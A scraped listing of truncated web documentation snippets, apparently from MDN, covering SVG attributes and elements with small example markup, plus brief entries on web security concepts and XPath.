two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
scale - SVG: Scalable Vector Graphics
WebSVGAttributescale
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="...
seed - SVG: Scalable Vector Graphics
WebSVGAttributeseed
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value ...
side - SVG: Scalable Vector Graphics
WebSVGAttributeside
only one element is using this attribute: <textpath> html, body, svg { height: 100%; } text { font: 25px arial, helvelica, sans-serif; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <text> <textpath href="#circle1" side="left">text left from the path</textpath> </text> <text> <textpath href="#circle2" side="right">text right from the path</textpath> </text> <circle id="circle1" cx="100" cy="100" r="70" fill="transparent" stroke="silver"/> <circle id="circle2" cx="320" cy="100" r="70" fill="transparent" stroke="silver"/> </svg> usage notes value left | right default value left animatable yes l...
slope - SVG: Scalable Vector Graphics
WebSVGAttributeslope
only one element is using this attribute: <font-face> usage notes value <number> default value 0 animatable no <number> this value indicates the vertical stroke angle of the font.
spacing - SVG: Scalable Vector Graphics
WebSVGAttributespacing
only one element is using this attribute: <textpath> usage notes value auto | exact default value exact animatable yes auto this value indicates that the user agent should use text-on-a-path layout algorithms to adjust the spacing between typographic characters in order to achieve visually appealing results.
specularConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filt...
specularExponent - SVG: Scalable Vector Graphics
two elements are using this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#...
spreadMethod - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges.
startOffset - SVG: Scalable Vector Graphics
only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1" startoffset="0"> quick brown fox jumps over the lazy dog.
stdDeviation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform: tra...
stemh - SVG: Scalable Vector Graphics
WebSVGAttributestemh
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the horizontal stem width of the font.
stemv - SVG: Scalable Vector Graphics
WebSVGAttributestemv
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the vertical stem width of the font.
stitchTiles - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: transla...
string - SVG: Scalable Vector Graphics
WebSVGAttributestring
only one element is using this attribute: <font-face-format> usage notes value <anything> default value none animatable no <anything> this value specifies a list of formats that are supported by the font referenced by the parent <font-face-uri> element.
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
legend compatibility unknown compatibility unknown note: for information on using the context-stroke (and context-fill) values from html documents, see the documentation for the non-standard -moz-context-properties property.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <re...
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
tabindex - SVG: Scalable Vector Graphics
all elements are using this attribute.
tableValues - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="table" tablevalues="0 1"/> <fefuncg type="table" tablevalues="0...
target - SVG: Scalable Vector Graphics
WebSVGAttributetarget
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozilla.org" target="_blank"> ...
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(orderx / 2) animatable yes <integer> this value indicates the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image.
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(ordery / 2) animatable yes <integer> this value indicates the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributetype="xml" attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, to specifies the ending value of the animation.
transform-origin - SVG: Scalable Vector Graphics
usage notes values [ <length-percentage> | left | center | right | top | bottom ] | [ [ <length-percentage> | left | center | right ] && [ <length-percentage> | top | center | bottom ] ] <length>?where <length-percentage> = <length> | <percentage> default value 50%, 50% animatable yes the transform-origin property may be specified using one, two, or three values, where each value represents an offset.
unicode-range - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <urange># default value none animatable no <urange># this value is a comma-separated list of iso 10646 characters possibly covered by the glyphs in the font.
units-per-em - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value 1000 animatable no <number> this value indicates the the number of coordinate units on the em square.
v-alphabetic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-alphabetic' in that specification.
v-hanging - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs to achieve hanging baseline alignment.
v-ideographic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
v-mathematical - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
values - SVG: Scalable Vector Graphics
WebSVGAttributevalues
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <fecolormatrix> animate, animatecolor, animatemotion, animatetransform for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>, values is a list of values defining the sequence of values over the course of the animation.
vert-adv-y - SVG: Scalable Vector Graphics
three elements are using this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, vert-adv-y specifies the default vertical advance for a glyph in vertical orientation.
vert-origin-x - SVG: Scalable Vector Graphics
only one element is using this attribute: <font> usage notes value <number> default value half of horiz-adv-x value animatable no <number> this value indicates the x-coordinate of the origin of a glyph for vertically oriented text.
vert-origin-y - SVG: Scalable Vector Graphics
only one element is using this attribute: <font> usage notes value <number> default value ascent value animatable no <number> this value indicates the y-coordinate of the origin of a glyph for vertically oriented text.
viewTarget - SVG: Scalable Vector Graphics
only one element is using this attribute: <view> usage notes value <xml-name> default value none animatable no <xml-name> this value specifies the name of the object associated with the view.
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
twenty five elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> ...
widths - SVG: Scalable Vector Graphics
WebSVGAttributewidths
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value is a comma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths.
x-height - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the height of lowercase glyphs.
x - SVG: Scalable Vector Graphics
WebSVGAttributex
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="6...
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" sc...
xlink:arcrole - SVG: Scalable Vector Graphics
for example, a resource might generically represent a "person," but in the context of a particular arc it might have the role of "mother" and in the context of a different arc it might have the role of "daughter." twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, <use> usage notes value <iri> default value none animatable no <iri> this v...
xlink:show - SVG: Scalable Vector Graphics
only one element is using this attribute: <a> usage notes value new | replace | embed | other | none default value replace animatable no new this value specifies that the referenced resource is opened in a new window or tab.
xlink:title - SVG: Scalable Vector Graphics
these elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage context value <anything> default value none animatable no <a...
xlink:type - SVG: Scalable Vector Graphics
twentytwo elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage notes value simple default value simple animatable no simple this value specifies that the referred resource is a simple link.
xml:base - SVG: Scalable Vector Graphics
all elements are using this attribute.
xml:lang - SVG: Scalable Vector Graphics
all elements are using this attribute.
y - SVG: Scalable Vector Graphics
WebSVGAttributey
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="6...
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" sc...
z - SVG: Scalable Vector Graphics
WebSVGAttributez
two elements are using this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> ...
zoomAndPan - SVG: Scalable Vector Graphics
two elements are using this attribute: <svg> and <view> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" zoomandpan="disable"> <filter id="diffuselighting" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" zoomandpan="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" st...
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
svg elements can be modified using attributes that specify details about exactly how the element should be handled or rendered.
<animate> - SVG: Scalable Vector Graphics
WebSVGElementanimate
consider providing a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
<animateColor> - SVG: Scalable Vector Graphics
it provides no features not already available by using the <animate> element.
<animateMotion> - SVG: Scalable Vector Graphics
value type: <number>*; default value: none; animatable: no path this attribute defines the path of the motion, using the same syntax as the d attribute.
<defs> - SVG: Scalable Vector Graphics
WebSVGElementdefs
box="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- some graphical objects to use --> <defs> <circle id="mycircle" cx="0" cy="0" r="5" /> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="20%" stop-color="gold" /> <stop offset="90%" stop-color="red" /> </lineargradient> </defs> <!-- using my graphical objects --> <use x="5" y="5" xlink:href="#mycircle" fill="url('#mygradient')" /> </svg> attributes global attributes core attributes most notably: id lang styling attributes class, style event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-inter...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
the hidden text of a <desc> element can also be concatenated with the visible text of other elements using multiple ids in an aria-describedby value.
<ellipse> - SVG: Scalable Vector Graphics
WebSVGElementellipse
note: ellipses are unable to specify the exact orientation of the ellipse (if, for example, you wanted to draw an ellipse tilted at a 45 degree angle), but it can be rotated by using the transform attribute.
<feDropShadow> - SVG: Scalable Vector Graphics
the drop shadow color and opacity can be changed by using the flood-color and flood-opacity presentation attributes.
<feTurbulence> - SVG: Scalable Vector Graphics
the <feturbulence> svg filter primitive creates an image using the perlin turbulence function.
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextension...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
e-src> </font-face> <missing-glyph><path d="m0,0h200v200h-200z"/></missing-glyph> <glyph unicode="!" horiz-adv-x="80" d="m0,0h200v200h-200z"></glyph> <glyph unicode="@" d="m0,50l100,300l400,100z"></glyph> </font> </defs> <text x="100" y="100" style="font-family: 'super sans', helvetica, sans-serif; font-weight: bold; font-style: normal">text using embe@dded font!</text> </svg> result specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<glyph>' in that specification.
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
the <hatch> svg element is used to fill or stroke an object using one or more pre-defined paths that are repeated at fixed intervals in a specified direction to cover the areas to be painted.
<linearGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system for attributes x1, x2, y1, y2 value type: userspaceonuse|objectboundingbox ; default value: objectboundingbox; animatable: yes gradienttransform this attribute provides additional transformation to the gradient coordinate system.
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
markers are attached to shapes using the marker-start, marker-mid, and marker-end properties.
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
a mask is used/referenced using the mask property.
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
v-9 h12 v9 h5 v16 h-22 z"/> </symbol> <!-- hub symbol --> <symbol id="hub"> <desc>a typical 10baset/100basetx network hub</desc> <text x="0" y="15">hub</text> <g transform="translate(0 20)"> <rect width="253" height="84"/> <rect width="229" height="44" x="12" y="10"/> <circle fill="red" cx="227" cy="71" r="7" /> <!-- five groups each using the defined socket --> <g id="sock1et" transform="translate(25 20)"> <title>socket 1</title> <use xlink:href="#hubplug"/> </g> <g id="socket2" transform="translate(70 20)"> <title>socket 2</title> <use xlink:href="#hubplug"/> </g> <g id="socket3" transform="translate(115 20)"> <title>socket 3</title> ...
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
if an element can be described by visible text, it is recommended to reference that text with an aria-labelledby attribute rather than using the <title> element.
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
00" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element --> <rect x="1" y="1" width="998" height="298" fill="none" stroke-width="2" /> </svg> specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '<font>' in that specification.
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
« svg / svg attribute reference » svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
note: as of gecko 2.0, gecko supports svg animation using smil.
SVG animation with SMIL - SVG: Scalable Vector Graphics
firefox 4 introduced support for animating svg using synchronized multimedia integration language (smil).
SVG as an Image - SVG: Scalable Vector Graphics
many browsers support svg images in: html <img> or <svg> elements css background-image gecko-specific contexts additionally, gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduced support for using svg in these contexts: css list-style-image css content svg <image> element svg <feimage> element canvas drawimage function restrictions for security purposes, gecko places some restrictions on svg content when it's being used as an image: javascript is disabled.
Basic shapes - SVG: Scalable Vector Graphics
using a path element, you can draw rectangles (with or without rounded corners), circles, ellipses, polylines, and polygons.
Basic Transformations - SVG: Scalable Vector Graphics
effects on coordinate systems when using transformations you establish a new coordinate system inside the element the transformations apply to.
Clipping and masking - SVG: Scalable Vector Graphics
using well-known css techniques one of the most powerful tools in a web developer's toolbox is display: none.
Getting started - SVG: Scalable Vector Graphics
for normal svg files, servers should send the http headers: content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should send the http headers: content-type: image/svg+xml content-encoding: gzip vary: accept-encoding you can check that your server is sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc.
Introduction - SVG: Scalable Vector Graphics
not all svg viewers are equal and so there is a good chance that something written for one app will not display exactly the same in another, simply because they support different levels of the svg specification or another specification that you are using along with svg (that is, javascript or css).
SVG Filters Tutorial - SVG: Scalable Vector Graphics
the amount of blur to be applied is done using the stddeviation attribute.
Certificate Transparency - Web security
users will be prevented from visiting sites using non-compliant tls certificates.
Secure contexts - Web security
resources that are not local, to be considered secure, must meet the following criteria: must be served over https:// or wss:// urls the security properties of the network channel used to deliver the resource must not be considered deprecated feature detection pages can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean, which is exposed on the global scope.
Types of attacks - Web security
session hijacking session hijacking consists of gaining access to and misusing a user's authenticated session.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
the base url of a element can be queried from a script using node.baseuri.
Axes - XPath
WebXPathAxes
for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document.
element-available - XPath
the qname is expanded into an expanded-name using the namespace declarations in scope for the expression.
system-property - XPath
the qname is expanded into a name using the namespace declarations in scope for the expression.
